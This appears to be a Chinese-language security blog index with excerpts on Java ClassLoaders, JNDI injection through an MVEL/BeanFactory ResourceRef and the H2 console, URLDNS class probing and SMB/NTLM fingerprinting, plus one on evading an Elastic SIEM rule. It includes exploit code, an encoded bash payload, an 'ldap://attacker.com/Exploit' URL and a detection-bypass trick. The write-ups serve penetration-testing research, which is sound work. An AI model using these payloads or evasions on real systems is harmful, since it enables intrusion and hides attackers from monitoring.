wubba lubba dub dub.

0x1. 类加载器: ClassLoader

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言,Java会先通过编译器将源代码转换为Java二进制字节码,一般是保存在.class文件中,之后通过JVM解释器执行这段代码。字节码文件会包含很多Class信息,在JVM解释器运行的过程中,ClassLoader就是用来加载类的,它会将Java字节码中的Class加载到内存中,而每个Class对象内部都有一个ClassLoader属性标识由哪个ClassLoader加载。

常见的ClassLoader

一切的Java类都必须经过JVM加载之后才可以运行,最常见的ClassLoaderBootstrapClassLoaderExtensionClassLoaderAppClassLoaderURLClassLoaderContextClassLoader

BootstrapClassLoader

JVM内置的默认classLoader,负责加载JVM运行时的核心类,位于JAVA_HOME/lib/rt.jar/文件夹中,由C代码实现,Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null

ExtClassLoader

扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,库名通常以 javax 开头

AppClassLoader

应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载ClASSPATH环境变量或者java.class.path属性里定义的路径中的jar包和目录,我们自己编写和使用的第三方Jar包通常都是由它来加载

Read More
post @ 2022-03-21

测试背景

JDNI利用mvel绕过高版本java限制的时候,使用runtime exec编码变形之后执行命令失败。只能弹个计算器。

测试结果

浅蓝师傅在探索高版本JDK下JNDI 漏洞的利用方法中给出的执行方式:

private static ResourceRef tomcat_MVEL(){
    ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a",
            "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
    return ref;
}

先说结论:把执行命令的时候push指令去掉,可以成功执行命令。

原因探索

先把测试的命令做一次编码:open /System/Applications/Calculator.app/Contents/MacOS/Calculator
经过编码之后: bash -c {echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9y}|{base64,-d}|{bash,-i}

存在push的时候

经过一路的跳转,进入到_exec()函数,调用堆栈如下:

Read More

0x1. 切入点

在日常测试的时候,使用ffuf发现一个/console的接口,打开之后发现是H2 Database页面:

如果Spring Boot项目中包含h2database并且在配置文件中启用h2-console,则存在JNDI注入漏洞.

设置Driver Classjavax.naming.InitialContextJDBC URLldap://attacker.com/Exploit

根据/env泄漏的信息,得知Java版本是1.8.0_312,高版本JDK中由于默认codebase为true从而导致客户端默认不会请求远程Server上的恶意 Class, 因此不可以直接使用LDAP加载远程恶意代码。

RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true
LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true

0x2. 绕过和利用

利用本地Class作为Reference Factory绕过

利用URLDNS链可以探测Java黑盒应用里面某个类是否存在, 在珂字辈和c0ny1师傅的两篇文章讲的很详细:

URLDNS的测试代码,生成一个序列化的数据包1.ser

package test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;


public class Urldns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
          URL url = new URL("http://333.f9575af1.dns.1433.eu.org");
          Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
          f.setAccessible(true);
          f.set(url, 1);
          //hashMap.put(url, org.apache.commons.beanutils.BeanComparator.class);
          hashMap.put(url, makeClass("org.apache.commons.beanutils.BeanComparator"));
          f.set(url, -1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
        oos.writeObject(hashMap);
        //ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
        //ois.readObject();
    }
    public static Class makeClass(String clazzName) throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass(clazzName);
        Class clazz = ctClass.toClass();
        ctClass.defrost();
        return clazz;
    }
}
Read More
post @ 2021-08-06

SMB(Server Message Block)协议,可用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居就是靠它实现的。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API)。另外,它是一个开放性的协议,允许了协议扩展——使得它变得更大而且复杂;大约有65个最上层的作业,而每个作业都超过120个函数,甚至Windows NT也没有全部支持到,最近微软又把 SMB 改名为 CIFS(Common Internet File System),并且加入了许多新的特色。SMB协议一般端口使用为139,445,CIFS协议有三个版本:SMB、SMB2、SMB3。

NTLM

在type2返回Challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等。这也就意味着如果我们在能跟服务器进行NTLM交流中,给服务器发送一个type1的请求,服务器返回type2的响应,这一步,我们就可以得到很多信息。SMBv1和SMBv2的数据包结构是不同的

SMBv1

使用非攻NTLMINFO探测SMB接口,抓包通过wireshark分析,包含操作系统类型的数据包由SMB Header和Response组成:

我们的目的是获取smb数据包的NTLM数据,然后对NTLM数据包解析,NTLM数据包上一层是GSS-API,首先找到GSS-API在整个数据包的偏移量,SMB的数据包结构长度如下:

SMB Header:  32 byte
Word Count:  1 byte
AndXCommand: 1 byte
Reserved:    1 byte
AndXOffset:  2 byte
Action: 	   2 byte
Security Blob Length: 2 byte (表示Security Blob的长度,这里的hex是 0f 10,小端转换为010f,再转换成10进制就是271,对应Security Blob的长度)
Byte Count: 2 byte (表示Security Blob加上NativeOS和Native Lan的长度)
Security Blob: 可变长度,取决于Security Blob Length

上面的数据包结构的关键数据是Security Blob LengthByte Content,前者表示GSS-API的整个数据包长度,后者表示GSS-API和Native OS加上Native LM的数据长度:

GSS-API的长度是271 Byte

Native OS的长度是42 Byte
Read More
post @ 2021-08-02

安装

参考链接里有详细的安装步骤,测试客户端是Windows,安装了如下软件:

  • sysmon.exe(配置文件)
    • .\sysmon64.exe -accepteula -i c:\windows\config.xml
  • winlogbeat.exe
    • .\install-service-winlogbeat.ps1
    • .\winlogbeat.exe setup -e
  • ElasticAgent.exe
    • .\elastic-agent.exe install --insecure -f --fleet-server-es=<ES> --fleet-server-service-token=<token>

规则监测和绕过

规则有5种查询,一般使用EQL(Event Query Language)查询类型:

SIEM有内置很多规则,默认是关闭状态,这些规则都是ATT&CK框架攻击行为转化而来的,例如windows下的whoami查询规则(正经人谁查whoami啊):

process where event.type in ("start", "process_started") and process.name : "whoami.exe"

我们拿这条规则做分析,这条规则匹配了当进程开始的时候,进程名为whoami.exe的时候触发,所以我们把whoami.exe复制一下,就可以绕过去了:

copy C:\Windows\System32\whoami.exe C:\Windows\temp\x.exe
C:\Windows\temp\x.exe

是不是把siem想的简单了,这跟通过复制net.exe绕过添加用户一模一样,仔细观察下elk里面的字段,可以发现process.pe.original_file_name仍然保留了whoami.exe,这是PE文件里面固定的,所以我们手动把预警规则修改一下:

process where event.type in ("start", "process_started") and process.pe.original_file_name: "whoami.exe"
Read More
⬆︎TOP